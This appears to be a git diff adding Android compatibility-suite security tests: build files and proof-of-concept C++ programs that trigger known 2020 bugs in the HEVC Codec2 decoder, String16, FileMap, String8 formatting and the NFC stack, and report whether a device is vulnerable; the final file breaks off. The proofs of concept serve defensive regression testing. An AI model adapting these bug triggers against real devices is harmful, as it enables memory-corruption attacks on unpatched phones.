index 0000000..1a07265
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/Android.bp
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0213",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults",
+ "libcodec2-hidl-client-defaults",
+ ],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libcodec2_client",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp
new file mode 100644
index 0000000..30e22d4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp
@@ -0,0 +1,482 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <C2AllocatorIon.h>
+#include <C2Buffer.h>
+#include <C2BufferPriv.h>
+#include <C2Config.h>
+#include <C2Debug.h>
+#include <codec2/hidl/client.h>
+#include <gui/BufferQueue.h>
+#include <gui/IConsumerListener.h>
+#include <gui/IProducerListener.h>
+
+#include <chrono>
+#include <condition_variable>
+#include <fstream>
+#include <iostream>
+
+#include "../includes/common.h"
+
+using android::C2AllocatorIon;
+using std::chrono_literals::operator""ms;
+
+#define MAXIMUM_NUMBER_OF_RETRIES 20
+#define QUEUE_TIMEOUT 400ms
+#define MAXIMUM_NUMBER_OF_INPUT_BUFFERS 8
+#define ALIGN(_sz, _align) ((_sz + (_align - 1)) & ~(_align - 1))
+
+void workDone(const std::shared_ptr<android::Codec2Client::Component>& component,
+ std::unique_ptr<C2Work>& work, std::list<uint64_t>& flushedIndices,
+ std::mutex& queueLock, std::condition_variable& queueCondition,
+ std::list<std::unique_ptr<C2Work>>& workQueue, bool& eos, bool& csd,
+ uint32_t& framesReceived);
+
+struct FrameInfo {
+ int bytesCount;
+ uint32_t flags;
+ int64_t timestamp;
+};
+
+class LinearBuffer : public C2Buffer {
+ public:
+ explicit LinearBuffer(const std::shared_ptr<C2LinearBlock>& block)
+ : C2Buffer({block->share(block->offset(), block->size(), ::C2Fence())}) {}
+
+ explicit LinearBuffer(const std::shared_ptr<C2LinearBlock>& block, size_t size)
+ : C2Buffer({block->share(block->offset(), size, ::C2Fence())}) {}
+};
+
+/*
+ * Handle Callback functions onWorkDone(), onTripped(),
+ * onError(), onDeath(), onFramesRendered()
+ */
+struct CodecListener : public android::Codec2Client::Listener {
+ public:
+ CodecListener(
+ const std::function<void(std::list<std::unique_ptr<C2Work>>& workItems)> fn = nullptr)
+ : callBack(fn) {}
+ virtual void onWorkDone(const std::weak_ptr<android::Codec2Client::Component>& comp,
+ std::list<std::unique_ptr<C2Work>>& workItems) override {
+ (void)comp;
+ if (callBack) {
+ callBack(workItems);
+ }
+ }
+
+ virtual void onTripped(
+ const std::weak_ptr<android::Codec2Client::Component>& comp,
+ const std::vector<std::shared_ptr<C2SettingResult>>& settingResults) override {
+ (void)comp;
+ (void)settingResults;
+ }
+
+ virtual void onError(const std::weak_ptr<android::Codec2Client::Component>& comp,
+ uint32_t errorCode) override {
+ (void)comp;
+ (void)errorCode;
+ }
+
+ virtual void onDeath(const std::weak_ptr<android::Codec2Client::Component>& comp) override {
+ (void)comp;
+ }
+
+ virtual void onInputBufferDone(uint64_t frameIndex, size_t arrayIndex) override {
+ (void)frameIndex;
+ (void)arrayIndex;
+ }
+
+ virtual void onFrameRendered(uint64_t bufferQueueId, int32_t slotId,
+ int64_t timestampNs) override {
+ (void)bufferQueueId;
+ (void)slotId;
+ (void)timestampNs;
+ }
+ std::function<void(std::list<std::unique_ptr<C2Work>>& workItems)> callBack;
+};
+
+class Codec2VideoDecHidlTestBase {
+ public:
+ bool SetUp() {
+ mClient = getClient();
+ if (!mClient) {
+ return false;
+ }
+ mListener.reset(new CodecListener(
+ [this](std::list<std::unique_ptr<C2Work>>& workItems) { handleWorkDone(workItems); }));
+ if (!mListener) {
+ return false;
+ }
+ mComponent = android::Codec2Client::CreateComponentByName(mComponentName.c_str(), mListener,
+ &mClient);
+ if (!mComponent) {
+ return false;
+ }
+ for (int i = 0; i < MAXIMUM_NUMBER_OF_INPUT_BUFFERS; ++i) {
+ mWorkQueue.emplace_back(new C2Work);
+ }
+ std::shared_ptr<C2AllocatorStore> store = android::GetCodec2PlatformAllocatorStore();
+ if (store->fetchAllocator(C2AllocatorStore::DEFAULT_LINEAR, &mLinearAllocator) != C2_OK) {
+ return false;
+ }
+ mLinearPool = std::make_shared<C2PooledBlockPool>(mLinearAllocator, ++mBlockPoolId);
+ if (!mLinearPool) {
+ return false;
+ }
+ mEos = false;
+ mHasVulnerability = false;
+ mTimestampUs = 0u;
+ mWorkResult = C2_OK;
+ mFramesReceived = 0;
+ return true;
+ }
+
+ ~Codec2VideoDecHidlTestBase() {
+ if (mComponent != nullptr) {
+ mComponent->release();
+ mComponent = nullptr;
+ }
+ }
+
+ std::shared_ptr<android::Codec2Client> getClient() {
+ auto instances = android::Codec2Client::GetServiceNames();
+ for (std::string instance : instances) {
+ std::shared_ptr<android::Codec2Client> client =
+ android::Codec2Client::CreateFromService(instance.c_str());
+ std::vector<C2Component::Traits> components = client->listComponents();
+ for (C2Component::Traits traits : components) {
+ if (instance.compare(traits.owner)) {
+ continue;
+ }
+ if (traits.domain == DOMAIN_VIDEO && traits.kind == KIND_DECODER &&
+ mComponentName.compare(traits.name)) {
+ return android::Codec2Client::CreateFromService(
+ instance.c_str(),
+ !bool(android::Codec2Client::CreateFromService("default", true)));
+ }
+ }
+ }
+ return nullptr;
+ }
+
+ void checkBufferOK(std::unique_ptr<C2Work>& work) {
+ const C2GraphicView output =
+ work->worklets.front()->output.buffers[0]->data().graphicBlocks().front().map().get();
+ uint8_t* uPlane = const_cast<uint8_t*>(output.data()[C2PlanarLayout::PLANE_U]);
+ uint8_t* vPlane = const_cast<uint8_t*>(output.data()[C2PlanarLayout::PLANE_V]);
+ const uint8_t ul[] = {109, 109, 109, 109, 109, 109, 109};
+ const uint8_t vl[] = {121, 121, 121, 121, 121, 121, 121};
+ const uint8_t ur[] = {114, 114, 120, 120, 122, 127, 127};
+ const uint8_t vr[] = {126, 121, 123, 121, 123, 126, 126};
+ if (!memcmp(uPlane - 7, ul, 7) && !memcmp(vPlane - 7, vl, 7) &&
+ !memcmp(uPlane + 1, ur, 7) && !memcmp(vPlane + 1, vr, 7)) {
+ mHasVulnerability |= true;
+ }
+ }
+
+ // Config output pixel format
+ bool configPixelFormat(uint32_t format) {
+ std::vector<std::unique_ptr<C2SettingResult>> failures;
+ C2StreamPixelFormatInfo::output pixelformat(0u, format);
+
+ std::vector<C2Param*> configParam{&pixelformat};
+ c2_status_t status = mComponent->config(configParam, C2_DONT_BLOCK, &failures);
+ if (status == C2_OK && failures.size() == 0u) {
+ return true;
+ }
+ return false;
+ }
+
+ // callback function to process onWorkDone received by Listener
+ void handleWorkDone(std::list<std::unique_ptr<C2Work>>& workItems) {
+ for (std::unique_ptr<C2Work>& work : workItems) {
+ if (!work->worklets.empty()) {
+ // For decoder components current timestamp always exceeds
+ // previous timestamp if output is in display order
+ mWorkResult |= work->result;
+ bool codecConfig =
+ ((work->worklets.front()->output.flags & C2FrameData::FLAG_CODEC_CONFIG) != 0);
+ if (!codecConfig && !work->worklets.front()->output.buffers.empty()) {
+ checkBufferOK(work);
+ }
+ bool mCsd = false;
+ workDone(mComponent, work, mFlushedIndices, mQueueLock, mQueueCondition, mWorkQueue,
+ mEos, mCsd, mFramesReceived);
+ (void)mCsd;
+ }
+ }
+ }
+
+ const std::string mComponentName = "c2.android.hevc.decoder";
+ bool mEos;
+ bool mHasVulnerability;
+ uint64_t mTimestampUs;
+ int32_t mWorkResult;
+ uint32_t mFramesReceived;
+ std::list<uint64_t> mFlushedIndices;
+
+ C2BlockPool::local_id_t mBlockPoolId;
+ std::shared_ptr<C2BlockPool> mLinearPool;
+ std::shared_ptr<C2Allocator> mLinearAllocator;
+
+ std::mutex mQueueLock;
+ std::condition_variable mQueueCondition;
+ std::list<std::unique_ptr<C2Work>> mWorkQueue;
+
+ std::shared_ptr<android::Codec2Client> mClient;
+ std::shared_ptr<android::Codec2Client::Listener> mListener;
+ std::shared_ptr<android::Codec2Client::Component> mComponent;
+};
+
+// process onWorkDone received by Listener
+void workDone(const std::shared_ptr<android::Codec2Client::Component>& component,
+ std::unique_ptr<C2Work>& work, std::list<uint64_t>& flushedIndices,
+ std::mutex& queueLock, std::condition_variable& queueCondition,
+ std::list<std::unique_ptr<C2Work>>& workQueue, bool& eos, bool& csd,
+ uint32_t& framesReceived) {
+ // handle configuration changes in work done
+ if (work->worklets.front()->output.configUpdate.size() != 0) {
+ std::vector<std::unique_ptr<C2Param>> updates =
+ std::move(work->worklets.front()->output.configUpdate);
+ std::vector<C2Param*> configParam;
+ std::vector<std::unique_ptr<C2SettingResult>> failures;
+ for (size_t i = 0; i < updates.size(); ++i) {
+ C2Param* param = updates[i].get();
+ if (param->index() == C2StreamInitDataInfo::output::PARAM_TYPE) {
+ C2StreamInitDataInfo::output* csdBuffer = (C2StreamInitDataInfo::output*)(param);
+ size_t csdSize = csdBuffer->flexCount();
+ if (csdSize > 0) {
+ csd = true;
+ }
+ } else if ((param->index() == C2StreamSampleRateInfo::output::PARAM_TYPE) ||
+ (param->index() == C2StreamChannelCountInfo::output::PARAM_TYPE) ||
+ (param->index() == C2StreamPictureSizeInfo::output::PARAM_TYPE)) {
+ configParam.push_back(param);
+ }
+ }
+ component->config(configParam, C2_DONT_BLOCK, &failures);
+ assert(failures.size() == 0u);
+ }
+ if (work->worklets.front()->output.flags != C2FrameData::FLAG_INCOMPLETE) {
+ ++framesReceived;
+ eos = (work->worklets.front()->output.flags & C2FrameData::FLAG_END_OF_STREAM) != 0;
+ auto frameIndexIt = std::find(flushedIndices.begin(), flushedIndices.end(),
+ work->input.ordinal.frameIndex.peeku());
+ work->input.buffers.clear();
+ work->worklets.clear();
+ {
+ typedef std::unique_lock<std::mutex> ULock;
+ ULock l(queueLock);
+ workQueue.push_back(std::move(work));
+ if (!flushedIndices.empty() && (frameIndexIt != flushedIndices.end())) {
+ flushedIndices.erase(frameIndexIt);
+ }
+ queueCondition.notify_all();
+ }
+ }
+}
+
+bool decodeNFrames(const std::shared_ptr<android::Codec2Client::Component>& component,
+ std::mutex& queueLock, std::condition_variable& queueCondition,
+ std::list<std::unique_ptr<C2Work>>& workQueue,
+ std::list<uint64_t>& flushedIndices, std::shared_ptr<C2BlockPool>& linearPool,
+ std::ifstream& ifStream, android::Vector<FrameInfo>* Info) {
+ typedef std::unique_lock<std::mutex> ULock;
+ int frameID = 0;
+ int retryCount = 0;
+ while (1) {
+ if (frameID == (int)Info->size()) {
+ break;
+ }
+ uint32_t flags = 0;
+ std::unique_ptr<C2Work> work;
+ // Prepare C2Work
+ while (!work && (retryCount < MAXIMUM_NUMBER_OF_RETRIES)) {
+ ULock l(queueLock);
+ if (!workQueue.empty()) {
+ work.swap(workQueue.front());
+ workQueue.pop_front();
+ } else {
+ queueCondition.wait_for(l, QUEUE_TIMEOUT);
+ ++retryCount;
+ }
+ }
+ if (!work && (retryCount >= MAXIMUM_NUMBER_OF_RETRIES)) {
+ return false; // "Wait for generating C2Work exceeded timeout"
+ }
+ int64_t timestamp = (*Info)[frameID].timestamp;
+ if ((*Info)[frameID].flags) {
+ flags = (1 << ((*Info)[frameID].flags - 1));
+ }
+ if (frameID == (int)Info->size() - 1) {
+ flags |= C2FrameData::FLAG_END_OF_STREAM;
+ }
+
+ work->input.flags = (C2FrameData::flags_t)flags;
+ work->input.ordinal.timestamp = timestamp;
+ work->input.ordinal.frameIndex = frameID;
+ {
+ ULock l(queueLock);
+ flushedIndices.emplace_back(frameID);
+ }
+
+ int size = (*Info)[frameID].bytesCount;
+ char* data = (char*)malloc(size);
+ if (!data) {
+ return false;
+ }
+
+ ifStream.read(data, size);
+ if (ifStream.gcount() != size) {
+ return false;
+ }
+
+ work->input.buffers.clear();
+ auto alignedSize = ALIGN(size, PAGE_SIZE);
+ if (size) {
+ std::shared_ptr<C2LinearBlock> block;
+ if (linearPool->fetchLinearBlock(alignedSize,
+ {C2MemoryUsage::CPU_READ, C2MemoryUsage::CPU_WRITE},
+ &block) != C2_OK) {
+ return false;
+ }
+ if (!block) {
+ return false;
+ }
+
+ // Write View
+ C2WriteView view = block->map().get();
+ if (view.error() != C2_OK) {
+ return false;
+ }
+ if ((size_t)alignedSize != view.capacity()) {
+ return false;
+ }
+ if (0u != view.offset()) {
+ return false;
+ }
+ if ((size_t)alignedSize != view.size()) {
+ return false;
+ }
+
+ memcpy(view.base(), data, size);
+
+ work->input.buffers.emplace_back(new LinearBuffer(block, size));
+ free(data);
+ }
+ work->worklets.clear();
+ work->worklets.emplace_back(new C2Worklet);
+ std::list<std::unique_ptr<C2Work>> items;
+ items.push_back(std::move(work));
+
+ // DO THE DECODING
+ if (component->queue(&items) != C2_OK) {
+ return false;
+ }
+ ++frameID;
+ retryCount = 0;
+ }
+ return true;
+}
+
+// Wait for all the inputs to be consumed by the plugin.
+void waitOnInputConsumption(std::mutex& queueLock, std::condition_variable& queueCondition,
+ std::list<std::unique_ptr<C2Work>>& workQueue,
+ size_t bufferCount = MAXIMUM_NUMBER_OF_INPUT_BUFFERS) {
+ typedef std::unique_lock<std::mutex> ULock;
+ uint32_t queueSize;
+ uint32_t retryCount = 0;
+ {
+ ULock l(queueLock);
+ queueSize = workQueue.size();
+ }
+ while ((retryCount < MAXIMUM_NUMBER_OF_RETRIES) && (queueSize < bufferCount)) {
+ ULock l(queueLock);
+ if (queueSize != workQueue.size()) {
+ queueSize = workQueue.size();
+ retryCount = 0;
+ } else {
+ queueCondition.wait_for(l, QUEUE_TIMEOUT);
+ ++retryCount;
+ }
+ }
+}
+
+// Populate Info vector and return number of CSDs
+int32_t populateInfoVector(std::string info, android::Vector<FrameInfo>* frameInfo) {
+ std::ifstream eleInfo;
+ eleInfo.open(info);
+ if (!eleInfo.is_open()) {
+ return -1;
+ }
+ int32_t numCsds = 0;
+ int32_t bytesCount = 0;
+ uint32_t flags = 0;
+ uint32_t timestamp = 0;
+ while (1) {
+ if (!(eleInfo >> bytesCount)) {
+ break;
+ }
+ eleInfo >> flags;
+ eleInfo >> timestamp;
+ bool codecConfig = flags ? ((1 << (flags - 1)) & C2FrameData::FLAG_CODEC_CONFIG) != 0 : 0;
+ if (codecConfig) {
+ ++numCsds;
+ }
+ frameInfo->push_back({bytesCount, flags, timestamp});
+ }
+ eleInfo.close();
+ return numCsds;
+}
+
+#define RETURN_FAILURE(condition) \
+ if ((condition)) { \
+ return EXIT_FAILURE; \
+ }
+
+int main(int argc, char** argv) {
+ RETURN_FAILURE(argc != 3);
+
+ Codec2VideoDecHidlTestBase handle;
+ RETURN_FAILURE(!handle.SetUp());
+ RETURN_FAILURE(!handle.configPixelFormat(HAL_PIXEL_FORMAT_YCBCR_420_888));
+
+ std::string eleStreamInfo{argv[2]};
+ android::Vector<FrameInfo> Info;
+ RETURN_FAILURE(populateInfoVector(eleStreamInfo, &Info) < 0);
+ RETURN_FAILURE(handle.mComponent->start() != C2_OK);
+
+ std::string eleStream{argv[1]};
+ std::ifstream ifStream;
+ ifStream.open(eleStream, std::ifstream::binary);
+ RETURN_FAILURE(!ifStream.is_open());
+ RETURN_FAILURE(!decodeNFrames(handle.mComponent, handle.mQueueLock, handle.mQueueCondition,
+ handle.mWorkQueue, handle.mFlushedIndices, handle.mLinearPool,
+ ifStream, &Info));
+ // blocking call to ensures application to Wait till all the inputs are
+ // consumed
+ if (!handle.mEos) {
+ waitOnInputConsumption(handle.mQueueLock, handle.mQueueCondition, handle.mWorkQueue);
+ }
+ ifStream.close();
+ RETURN_FAILURE(handle.mFramesReceived != Info.size());
+ RETURN_FAILURE(handle.mComponent->stop() != C2_OK);
+ RETURN_FAILURE(handle.mWorkResult != C2_OK);
+ if (handle.mHasVulnerability) {
+ return EXIT_VULNERABLE;
+ }
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/Android.bp
new file mode 100644
index 0000000..cc2692f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/Android.bp
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0408",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: ["poc.cpp"],
+ shared_libs: [
+ "libutils",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp
new file mode 100644
index 0000000..dcccd2e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp
@@ -0,0 +1,31 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "utils/String16.h"
+
+int main(void) {
+ android::String16 str{u"hello world"};
+ android::String16 substr{u"hello"};
+ const size_t begin = substr.size();
+ const size_t len = std::numeric_limits<size_t>::max();
+ if (str.remove(len, begin) != android::OK) {
+ return EXIT_FAILURE;
+ }
+ if (strcmp16(str, substr) != 0) {
+ return EXIT_FAILURE;
+ }
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/Android.bp
new file mode 100644
index 0000000..274e24d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/Android.bp
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0409",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: ["poc.cpp"],
+ shared_libs: [
+ "libutils",
+ "libbase",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp
new file mode 100644
index 0000000..085eb41
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp
@@ -0,0 +1,29 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "android-base/file.h"
+#include "utils/FileMap.h"
+
+#define FILE_NAME "test"
+#define FILE_OFFSET 200
+#define FILE_LENGTH SIZE_MAX
+
+int main() {
+ TemporaryFile tf;
+ android::FileMap fm;
+ fm.create(FILE_NAME, tf.fd, FILE_OFFSET, FILE_LENGTH, true);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/Android.bp
new file mode 100644
index 0000000..b4aee1e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/Android.bp
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0421",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: ["poc.cpp"],
+ shared_libs: [
+ "libutils",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp
new file mode 100644
index 0000000..09e7f60
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp
@@ -0,0 +1,51 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dlfcn.h>
+
+#include "utils/String8.h"
+
+#define VULNERABLE_STRING "Q0bRTMaNUg"
+
+typedef int (*vsnprintf_t)(char *const, size_t, const char *, va_list);
+
+static vsnprintf_t fptr = nullptr;
+
+// For CVE-2020-0421 to be reproducible, the vsnprintf has to return a negative
+// value. This negative value is added to size_t resulting in runtime error.
+// Getting vsnprintf to return -1 is tricky. The issue produced in fuzzer was
+// due to the call str1.appendFormat("%S", "string"). Using wide char string
+// format specifier for regular string is not a reliable way to produce the
+// issue. As from N1570, "If any argument is not the correct type for the
+// corresponding conversion specification or If there are insufficient arguments
+// for the format, the printf behavior is undefined." The below intercepting
+// function offers a simple way to return negative value.
+int vsnprintf(char *const dest, size_t size, const char *format, va_list ap) {
+ if (!strcmp(format, VULNERABLE_STRING)) {
+ return -1;
+ }
+ return (*fptr)(dest, size, format, ap);
+}
+
+int main(void) {
+ fptr = reinterpret_cast<vsnprintf_t>(dlsym(RTLD_NEXT, "vsnprintf"));
+ if (!fptr) {
+ return EXIT_FAILURE;
+ }
+ android::String8 str1{VULNERABLE_STRING};
+ str1.appendFormat(VULNERABLE_STRING);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/Android.bp
new file mode 100644
index 0000000..70c3eed
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/Android.bp
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0450",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+ multilib: {
+ lib32: {
+ suffix: "32",
+ },
+ lib64: {
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfa/include/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp
new file mode 100644
index 0000000..268153b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp
@@ -0,0 +1,193 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+#include <stdlib.h>
+
+char enable_selective_overload = ENABLE_NONE;
+bool kIsVulnerable = false;
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+#include <dlfcn.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+#define DEFAULT_VALUE 0xBE
+#define RW_I93_FORMAT_DATA_LEN 8
+
+// borrowed from rw_i93.cc
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t *p_uid);
+
+bool kIsInitialized = false;
+void *kVulnPtr = nullptr;
+uint16_t kVulnSize = 0;
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated */
+ RW_I93_STATE_IDLE, /* waiting for upper layer API */
+ RW_I93_STATE_BUSY, /* waiting for response from tag */
+
+ RW_I93_STATE_DETECT_NDEF, /* performing NDEF detection precedure */
+ RW_I93_STATE_READ_NDEF, /* performing read NDEF procedure */
+ RW_I93_STATE_UPDATE_NDEF, /* performing update NDEF procedure */
+ RW_I93_STATE_FORMAT, /* performing format procedure */
+ RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure */
+
+ RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag */
+};
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_SUBSTATE_WAIT_UID, /* waiting for response of inventory */
+ RW_I93_SUBSTATE_WAIT_SYS_INFO, /* waiting for response of get sys info */
+ RW_I93_SUBSTATE_WAIT_CC, /* waiting for reading CC */
+ RW_I93_SUBSTATE_SEARCH_NDEF_TLV, /* searching NDEF TLV */
+ RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked */
+
+ RW_I93_SUBSTATE_RESET_LEN, /* set length to 0 to update NDEF TLV */
+ RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV */
+ RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV */
+
+ RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+ RW_I93_SUBSTATE_CHECK_READ_ONLY, /* check if any block is locked */
+ RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+ */
+
+ RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only */
+ RW_I93_SUBSTATE_LOCK_NDEF_TLV, /* lock blocks of NDEF TLV */
+ RW_I93_SUBSTATE_WAIT_LOCK_CC /* lock block of CC */
+};
+
+static tNFC_STATUS (*real_rw_i93_send_cmd_write_single_block)(
+ uint16_t block_number, uint8_t *p_data) = nullptr;
+
